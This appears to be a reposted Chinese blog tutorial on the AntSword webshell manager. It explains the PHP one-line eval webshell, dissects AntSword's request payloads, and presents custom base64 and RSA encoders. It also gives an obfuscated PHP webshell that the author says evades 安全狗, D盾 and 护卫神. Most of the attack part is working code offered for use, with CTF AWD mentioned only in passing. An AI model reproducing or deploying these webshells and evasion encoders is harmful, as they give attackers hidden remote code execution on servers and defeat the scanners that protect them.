6

蚁剑原理与魔改

 1周前 阅读数 6
以下为 快照 页面,建议前往来源网站查看,会有更好的阅读体验。
原文链接: http://www.cnblogs.com/Lmg66/p/14016869.html

一句话木马原理

一句话木马形如这样:

<?php @eval($_POST[password]);?>

使用蚁剑连接,连接成功

zMrMN3u.png!mobile

那为什么能成功呢?

首先要探寻一句话木马的原理

UjyQBnY.png!mobile

所以我们post传入的字符串会以php代码的形式运行,而php代码又能调用系统操作所以便成了木马

7BzaEjN.png!mobile

蚁剑的原理

知道了一句话木马的原理,那么我们康康蚁剑的原理,蚁剑用很多功能确实很方便。还支持编码,垃圾数值,随机数,自定义编码解码器。

BBZbyez.png!mobile

首先选择代理设置,因为这里我们选择用burpsuite来抓取流量,

IBfQFzq.png!mobile

22iAZbz.png!mobile

rUnqyin.png!mobile

蚁剑连接来分析一下流量

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
	return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}	";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.="	";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息

然后我们就大概了解了一下蚁剑的功能,在康康蚁剑是如何获取数据的

JzeuUfU.png!mobile
@ini_set("display_errors", "0");
@set_time_limit(0);            //不显示报错
function asenc($out){
return $out;
};		                       //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc";			//用于返回信息,同时加入岁间前缀,对安全狗是一种绕过
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();					
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2));      //base64解码post传入的另一个数据
$P=@fopen($F,"r");										// 进行读取文件的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();   //报错信息

原理还是很好理解的,但是不明白为什么要令外post一个数据再进去文件内的传递,难道是面对对象编写的原因,还是令有好处,但是如果整体个人觉得更容易混淆流量,不过问题不大,后面还要编码更多的参数,才能绕过安全:dog2:

编码器原理

蚁剑自带变量,支持我们自定义编码和加密方式来混淆传入的主变量(不知道叫啥名字就就是连接密码的那个变量)的参数

fUbmia6.png!mobile
/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

代码作者已经给了注释很好理解,然后我们就可以开心的构造自己的编码方式来绕过安全狗了。

免杀小例子

这里给了例子吧。直接使用双层base64,我丢尽然还能免杀(后来测试发现),学长聊天说双base64能过:dog2:,我起初不信,尝试了一下,发现不行。写这篇文章的时候尝试一下还是不行,然后发现是因为我的webshell没有做免杀处理,被:dog2:直接给扫出来,然后就不管你的流量了直接杀,wogiao!牛皮!!

双base64蚁剑编码器

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data['_'] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  //data[pwd] = `${data['_']}"));`;
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

免杀的webshell

<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

webshell是能够免杀安全:dog2:和D盾和护卫神的,其他的没测试

aiUz2yE.png!mobile

faIZFvE.png!mobile

解码器原理

/**
 * php::base64解码器
 * Create at: 2020/11/21 17:15:24
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

官方注释很清楚这里就不弄了,而且我觉得蚁剑自带的base64啥的解码器完全够用,流量的混淆根本没法猜,有随机的前缀后缀是你所传参的时候传过去的,所有我没整就过:dog2:了。

蚁剑RSA

VFZ7baN.png!mobile

RSA一种基于密码学的非对称加密来混淆流量的方法,先用私钥对要加密的东西进行加密,然后用公钥解密,所以我们把公钥放入webshell里面,就可实现对流量的混淆

RSA的原理利用的是数论中的mod运算,不可破解的原因就是一个大数不易分解为两个素数的乘积,所以便可实现加解密。

BJV3yun.png!mobile

同样的RSA混淆流量对CTF的AWD模式也有好处,就是别人没法通过查看自己的webshell,来连接其他的人webshell,因为你如果能打下来不可能只种一个webshell

参考: 先知社区_从0到1掌握AWD攻防之RSA必杀

蚁剑的RSA使用方式很简单

使用前提,目标要php开启ssl,这个也是这个加密方法的缺陷,不开启没法调用解密函数

开启openssl方法

打开iphp.ini

搜索extension=php_openssl.dll,把前面的分号取消,然后重启web服务

在编码器的位置

2AJ7Bv.png!mobile

然后创建一个

B32Afq3.png!mobile

u6nIJr.png!mobile

然后将这个位置的webshell上传,写入啥的弄到目标

7bymAbN.png!mobile

然后连接的时候选择你创建的编码器就好了,测试了一下,安全:dog2:和护卫神不拦截,D盾可以扫描出来但是危险等级不高。

对于AWDctf利用蚁剑作者针对RSA也加了一个方法

在RSA编码器的位置加入下面代码,什么作用呢,在awd中别人抓取你的webshell读取flag流量进行转发到其他服务器中也可以获得flag,所以这里设置时效为5秒,可以设置更短。

data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;

em2A3yn.png!mobile


猜你喜欢

  • 3
    • www.freebuf.com 8个月前
    • 快照

    从网络侧分析蚁剑交互流量

    中国蚁剑是一款跨平台且十分优秀的开源网站管理工具,面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。它集文件管理、虚拟终端、数据管理功能于一身,可在windows、linux和Mac上正常运行。本文从网络侧出发,从http流量层...

  • 46
    • www.jianshu.com 2年前
    • 快照

    对Spark的那些【魔改】

    前言 这两年做 streamingpro 时,不可避免的需要对Spark做大量的增强。就如同我之前吐槽的,Spark大量使用了new进行对象的创建,导致里面的实现基本...

  • 28

    一时兴起魔改了下火麒麟,感觉没准会火

  • 43

    README.md 欢迎使用ss panel v3 mod 再次修改版 ss-panel-v3-mod是一款专为shadowsocks设计的web前端面板,再次感谢ss-panel-v3-mod 的制作者,...

  • 16

    前言 默认的 Identity 实体类型在大多数时候已经基本够用,很多时候也只是稍微在 IdentityUser 类中增加一些自定义数据字段,比如头像。这次,我要向园友隆重介绍我魔改之后的 Identity 实体类,能支持一些特别风骚的操作。当...

  • 15
    • 微信 mp.weixin.qq.com 9个月前
    • 快照

    小议如何跳出魔改网络结构的火坑

    点击 我爱计算机视觉 标星,更快获取CVML新技术 本文原载于知乎,已获作者授权转载,请勿二次转载, https://zhuanlan.zhihu.com/p/108838471 引言...

  • 22

    加入极市专业CV交流群,与  1 0000+来自港科大、北大、清华、中科院、CMU、腾讯、百度  等名校名企视觉开发者互动交流! 同时提供每月大咖直播分享、真实项目需求对接、干货资讯汇总,行业...

  • 482

    gRPC是在HTTP/2之上实现的RPC框架,HTTP/2是第7层(应用层)协议,它运行在TCP(第4层 - 传输层)协议之上。本文将会介绍gRPC客户端创建和调用原理解析.

  • 151
    • 博客园 www.cnblogs.com 3年前
    • 快照

    ASP.NET Core 运行原理剖析 - 行动派Xdpie

  • 140

    目前,一个典型的前端项目技术框架的选型主要包括以下三个方面: JS模块化框架。(Require/Sea/ES6 Module/NEJ) 前端模板框架。(React/Vue/Regular) 状态管理框架。(Flux/Redux)系列文章将从上面三个方面来介绍

关于极客头条


聚合每日国内外有价值,有趣的链接。

AD